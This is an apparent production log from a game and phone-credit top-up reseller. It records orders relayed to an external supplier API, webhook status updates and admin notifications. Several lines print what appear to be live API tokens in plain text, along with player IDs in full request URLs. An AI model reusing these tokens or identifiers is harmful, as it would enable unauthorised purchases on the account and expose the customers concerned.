[2026-03-24 14:25:04] production.INFO: async() رجع: true  
[2026-03-24 14:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:26:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02"} 
[2026-03-24 14:26:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","total_operations":1,"sites_count":1} 
[2026-03-24 14:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 14:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 14:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 14:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 14:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2Hj1sEJYh2sIAsR3njA79z7uzhbKkhBs","execution_time":"2026-03-24 14:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:26:05] production.INFO: Constructing job for order: 178738  
[2026-03-24 14:26:08] production.INFO: Handling job for order: 178738  
[2026-03-24 14:26:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:26:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:26:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=26bd33cf-df0b-409b-8712-da2800111835&Player_ID=14716975377  
[2026-03-24 14:26:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=26bd33cf-df0b-409b-8712-da2800111835&Player_ID=14716975377","has_body":false} 
[2026-03-24 14:26:09] production.INFO: Operation sent successfully {"operation_id":163659,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wUDdDXp7-1774351569","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:26:09"}},"processed_data":{"order_number":"ORD-wUDdDXp7-1774351569","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:26:40] production.INFO: Constructing job for order: 178739  
[2026-03-24 14:26:42] production.INFO: Handling job for order: 178739  
[2026-03-24 14:26:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:26:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:26:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=bbada54b-b483-4005-9af1-0f998b41d681&Player_ID=0969485676  
[2026-03-24 14:26:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=bbada54b-b483-4005-9af1-0f998b41d681&Player_ID=0969485676","has_body":false} 
[2026-03-24 14:26:43] production.INFO: SendAcceptReject: Notification queued {"user_id":193,"notification_type":"request_approved","reference_id":18621} 
[2026-03-24 14:26:43] production.INFO: Operation sent successfully {"operation_id":163660,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ujlW-1774351603","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:26:43"}},"processed_data":{"order_number":"ORD-ujlW-1774351603","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:26:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 193  
[2026-03-24 14:26:47] production.INFO: Constructing job for order: 178740  
[2026-03-24 14:26:49] production.INFO: Handling job for order: 178740  
[2026-03-24 14:26:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:26:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:26:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=29bd5d99-6ae8-4b7e-9aea-205a750b2e90&Player_ID=0969485676  
[2026-03-24 14:26:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=29bd5d99-6ae8-4b7e-9aea-205a750b2e90&Player_ID=0969485676","has_body":false} 
[2026-03-24 14:26:50] production.INFO: Operation sent successfully {"operation_id":163661,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yI4K9UW-1774351610","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:26:50"}},"processed_data":{"order_number":"ORD-yI4K9UW-1774351610","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:26:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wUDdDXp7-1774351569","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:26:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-wUDdDXp7-1774351569","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:26:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:26:52] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":178738} 
[2026-03-24 14:26:52] production.INFO: Order updated successfully. Order ID: 178738, Status: completed  
[2026-03-24 14:26:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wUDdDXp7-1774351569","status":"completed","codes_count":0} 
[2026-03-24 14:26:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 14:26:56] production.INFO: SendAcceptReject: Notification queued {"user_id":1572,"notification_type":"request_approved","reference_id":18622} 
[2026-03-24 14:26:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1572  
[2026-03-24 14:27:07] production.INFO: SendAcceptReject: Notification queued {"user_id":1703,"notification_type":"request_approved","reference_id":18623} 
[2026-03-24 14:27:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1703  
[2026-03-24 14:27:23] production.INFO: SendAcceptReject: Notification queued {"user_id":834,"notification_type":"request_approved","reference_id":18624} 
[2026-03-24 14:27:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 834  
[2026-03-24 14:27:26] production.INFO: Constructing job for order: 178741  
[2026-03-24 14:27:28] production.INFO: Constructing job for order: 178742  
[2026-03-24 14:27:29] production.INFO: Handling job for order: 178741  
[2026-03-24 14:27:29] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:27:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:27:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=747b97eb-7cb8-406d-8244-4b06febb6b08&Player_ID=14716975377  
[2026-03-24 14:27:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=747b97eb-7cb8-406d-8244-4b06febb6b08&Player_ID=14716975377","has_body":false} 
[2026-03-24 14:27:30] production.INFO: Operation sent successfully {"operation_id":163662,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-syE-1774351649","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:27:30"}},"processed_data":{"order_number":"ORD-syE-1774351649","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:27:30] production.INFO: Handling job for order: 178742  
[2026-03-24 14:27:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:27:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:27:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=343&uuid=cfb9b586-b18c-4fac-9e49-10b3aaea09b9&Player_ID=1077358668  
[2026-03-24 14:27:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=343&uuid=cfb9b586-b18c-4fac-9e49-10b3aaea09b9&Player_ID=1077358668","has_body":false} 
[2026-03-24 14:27:31] production.INFO: Operation sent successfully {"operation_id":163663,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-h5qQ-1774351650","amount":5.9950434543999993053375874296762049198150634765625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 14:27:31"}},"processed_data":{"order_number":"ORD-h5qQ-1774351650","amount":5.9950434543999993053375874296762049198150634765625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 14:27:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1767,"notification_type":"request_approved","reference_id":18625} 
[2026-03-24 14:27:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1767  
[2026-03-24 14:27:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-syE-1774351649","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:27:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-syE-1774351649","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:27:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:27:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":178741} 
[2026-03-24 14:27:51] production.INFO: Order updated successfully. Order ID: 178741, Status: completed  
[2026-03-24 14:27:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-syE-1774351649","status":"completed","codes_count":0} 
[2026-03-24 14:27:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 14:28:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04"} 
[2026-03-24 14:28:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","total_operations":4,"sites_count":2} 
[2026-03-24 14:28:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-h5qQ-1774351650"]} 
[2026-03-24 14:28:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:28:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663} 
[2026-03-24 14:28:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:28:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"processed":0,"errors":0} 
[2026-03-24 14:28:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"orders_count":2,"order_ids":["ORD-ujlW-1774351603","ORD-yI4K9UW-1774351610"]} 
[2026-03-24 14:28:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663} 
[2026-03-24 14:28:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"orders_count":2} 
[2026-03-24 14:28:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 14:28:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 14:28:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"count":2} 
[2026-03-24 14:28:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"count":2} 
[2026-03-24 14:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"user_id":5,"notification_type":"order_approved","reference_id":178739} 
[2026-03-24 14:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"user_id":5,"notification_type":"order_approved","reference_id":178740} 
[2026-03-24 14:28:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:28:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:28:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"processed":2,"errors":0} 
[2026-03-24 14:28:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661,"processed":2,"errors":0} 
[2026-03-24 14:28:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Ke0Xnscf2K71yZ0nCoUXWUHG7QDJBVW5","execution_time":"2026-03-24 14:28:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yI4K9UW-1774351610","operation_id":163661} 
[2026-03-24 14:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 14:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 14:28:37] production.INFO: Constructing job for order: 178743  
[2026-03-24 14:28:40] production.INFO: Handling job for order: 178743  
[2026-03-24 14:28:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:28:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:28:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=10000&uuid=72f3f9e4-4182-4ab7-9ea6-38444fd2b5d3&Player_ID=781362403  
[2026-03-24 14:28:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=10000&uuid=72f3f9e4-4182-4ab7-9ea6-38444fd2b5d3&Player_ID=781362403","has_body":false} 
[2026-03-24 14:28:41] production.INFO: Operation sent successfully {"operation_id":163664,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-k94CkHu-1774351721","amount":8.4876050000000002881961336242966353893280029296875,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 14:28:41"}},"processed_data":{"order_number":"ORD-k94CkHu-1774351721","amount":8.4876050000000002881961336242966353893280029296875,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 14:29:34] production.INFO: Constructing job for order: 178744  
[2026-03-24 14:29:35] production.INFO: Handling job for order: 178744  
[2026-03-24 14:29:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:29:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:29:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9cc7fbc6-4143-4a52-84e9-b3a380f26d01&Player_ID=51920045600  
[2026-03-24 14:29:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9cc7fbc6-4143-4a52-84e9-b3a380f26d01&Player_ID=51920045600","has_body":false} 
[2026-03-24 14:29:36] production.INFO: Operation sent successfully {"operation_id":163665,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kcXE7A-1774351776","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:29:36"}},"processed_data":{"order_number":"ORD-kcXE7A-1774351776","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 14:29:46] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kcXE7A-1774351776","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:29:46] production.INFO: Processed webhook data (normalized) {"id":"ORD-kcXE7A-1774351776","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:29:46] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:29:46] production.INFO: SendAcceptReject: Notification queued {"user_id":940,"notification_type":"order_approved","reference_id":178744} 
[2026-03-24 14:29:46] production.INFO: Order updated successfully. Order ID: 178744, Status: completed  
[2026-03-24 14:29:46] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kcXE7A-1774351776","status":"completed","codes_count":0} 
[2026-03-24 14:29:48] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 940  
[2026-03-24 14:29:51] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"7.0","mainamount":"7","operation_number":"158265074","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php2hlj62hblqe727nwc1S"}},"user_id":312} 
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:29:54] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:29:54] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18626,"user_id":312,"amount":7.0,"admins_notified":7} 
[2026-03-24 14:30:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03"} 
[2026-03-24 14:30:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","total_operations":3,"sites_count":1} 
[2026-03-24 14:30:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-h5qQ-1774351650","ORD-k94CkHu-1774351721"]} 
[2026-03-24 14:30:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 14:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663} 
[2026-03-24 14:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 14:30:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 14:30:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"count":1} 
[2026-03-24 14:30:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"count":1} 
[2026-03-24 14:30:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"user_id":1572,"notification_type":"order_approved","reference_id":178743} 
